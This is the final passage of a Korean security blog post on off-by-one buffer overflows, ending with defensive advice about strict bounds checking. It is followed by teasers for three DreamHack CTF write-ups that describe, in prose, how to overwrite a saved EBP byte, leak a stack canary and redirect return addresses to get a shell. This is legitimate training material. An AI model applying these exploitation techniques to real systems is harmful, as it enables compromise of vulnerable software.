age ์ฒ˜๋Ÿผ ํ๋ฆ„์„ ๊ฒฐ์ •ํ•˜๋Š” ๋ณ€์ˆ˜๊ฐ€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ฐ€๋Šฅํ•œ ๋ฒ„ํผ ๋ฐ”๋กœ ๋’ค์— ๋†“์ด๋ฉด, ๋‹จ ํ•œ ๋ฐ”์ดํŠธ๋กœ๋„ ์กฐ์ž‘๋œ๋‹ค. ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๋ฐฐ์น˜๋ฅผ ๋ฐ”๊พธ๊ธฐ๋„ ํ•˜์ง€๋งŒ ๊ทธ ์ˆœ์„œ์— ์˜์กดํ•ด์„  ์•ˆ ๋œ๋‹ค. ์• ์ดˆ์— ์ž…๋ ฅ ์ฒ˜๋ฆฌ์—์„œ ๊ฒฝ๊ณ„๋ฅผ ์ •ํ™•ํžˆ ์ง€ํ‚ค๋Š” ๊ฒŒ ์œ ์ผํ•˜๊ฒŒ ๋ฏฟ์„ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์–ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 3] ์ €์žฅ๋œ EBP ํ•œ ๋ฐ”์ดํŠธ๋ฅผ ์ง€์›Œ ์…ธ์„ ์—ฐ๋‹ค โ€” DreamHack off_by_one_000 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์ €์žฅ๋œ EBP ํ•œ ๋ฐ”์ดํŠธ๋ฅผ ์ง€์›Œ ์…ธ์„ ์—ฐ๋‹ค โ€” DreamHack off_by_one_000 ํ’€์ด

read ๋Š” ๋„์„ ๋ถ™์ด์ง€ ์•Š๊ณ  strcpy ๋Š” ๋„๊นŒ์ง€ ๋ณต์‚ฌํ•œ๋‹ค. ์ด ์–ด๊ธ‹๋‚จ์„ ์ด์šฉํ•ด 256๋ฐ”์ดํŠธ๋ฅผ ๊ฐ€๋“ ์ฑ„์šฐ๋ฉด 257๋ฒˆ์งธ ๋„์ด ์ €์žฅ๋œ EBP ์˜ ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๋กœ ์ƒˆ์–ด ๋“ค์–ด๊ฐ„๋‹ค. ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ 0์ด ๋˜๋ฉด์„œ ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ๊ฐ€ 0x100 ์•„๋ž˜๋กœ ์ •๋ ฌ๋˜๊ณ , main ์˜ leave; ret ์ด ์šฐ๋ฆฌ๊ฐ€ ๋ฟŒ๋ ค๋‘” get_shell ๋กœ ์ฐฉ์ง€ํ•œ๋‹ค. ์ •๋ ฌ์— ๋”ฐ๋ผ ํ™•๋ฅ ์ ์ด๋ผ ์…ธ์ด ๋œฐ ๋•Œ๊นŒ์ง€ ์žฌ์‹œ๋„ํ–ˆ๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-11#dreamhack +4
[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] OOB read ๋กœ ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  BOF ๋กœ ์…ธ โ€” DreamHack ssp_001 ํ’€์ด

์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ง„ 32๋น„ํŠธ BOF ๋ฌธ์ œ. (P)rint ๋ฉ”๋‰ด์˜ box[idx] ๊ฐ€ ์ธ๋ฑ์Šค ๊ฒ€์‚ฌ๋ฅผ ์•ˆ ํ•ด OOB read ๊ฐ€ ๋˜๊ณ , box ๊ธฐ์ค€ +0x80 ์œ„์น˜์— ์žˆ๋Š” ์นด๋‚˜๋ฆฌ 4๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฝ์–ด์˜ฌ ์ˆ˜ ์žˆ๋‹ค. ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•œ ๋’ค (E)xit ๋ฉ”๋‰ด์˜ read(name, name_len) ๊ธธ์ด ๋ฌด์ œํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก๋Š”๋‹ค.
#dreamhack#ctf#pwn+6
2026-06-27#dreamhack +4
[๐Ÿฅ‰ Bronze 4] gets() ํ•œ ์ค„๋กœ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ โ€” DreamHack basic_exploitation_001 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] gets() ํ•œ ์ค„๋กœ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ read_flag๋กœ โ€” DreamHack basic_exploitation_001 ํ’€์ด

buf[0x80]์— ๊ธธ์ด ์ œํ•œ ์—†๋Š” gets()๊ฐ€ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค. 128๋ฐ”์ดํŠธ ๋ฒ„ํผ์— saved EBP 4๋ฐ”์ดํŠธ๋ฅผ ๋”ํ•œ 132๋ฐ”์ดํŠธ ๋’ค์— ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์žˆ๊ณ , ๊ทธ ์ž๋ฆฌ๋ฅผ system("cat flag")๋ฅผ ๋ถ€๋ฅด๋Š” read_flag() ์ฃผ์†Œ๋กœ ๋ฎ์œผ๋ฉด ๋์ด๋‹ค. ์นด๋‚˜๋ฆฌ๋„ PIE๋„ ์—†์–ด ์˜คํ”„์…‹๊ณผ ์ฃผ์†Œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๊ณ ์ •์ธ ๊ต๊ณผ์„œ์  ret2win.
#dreamhack#ctf#pwnable+5
2026-06-25#dreamhack +4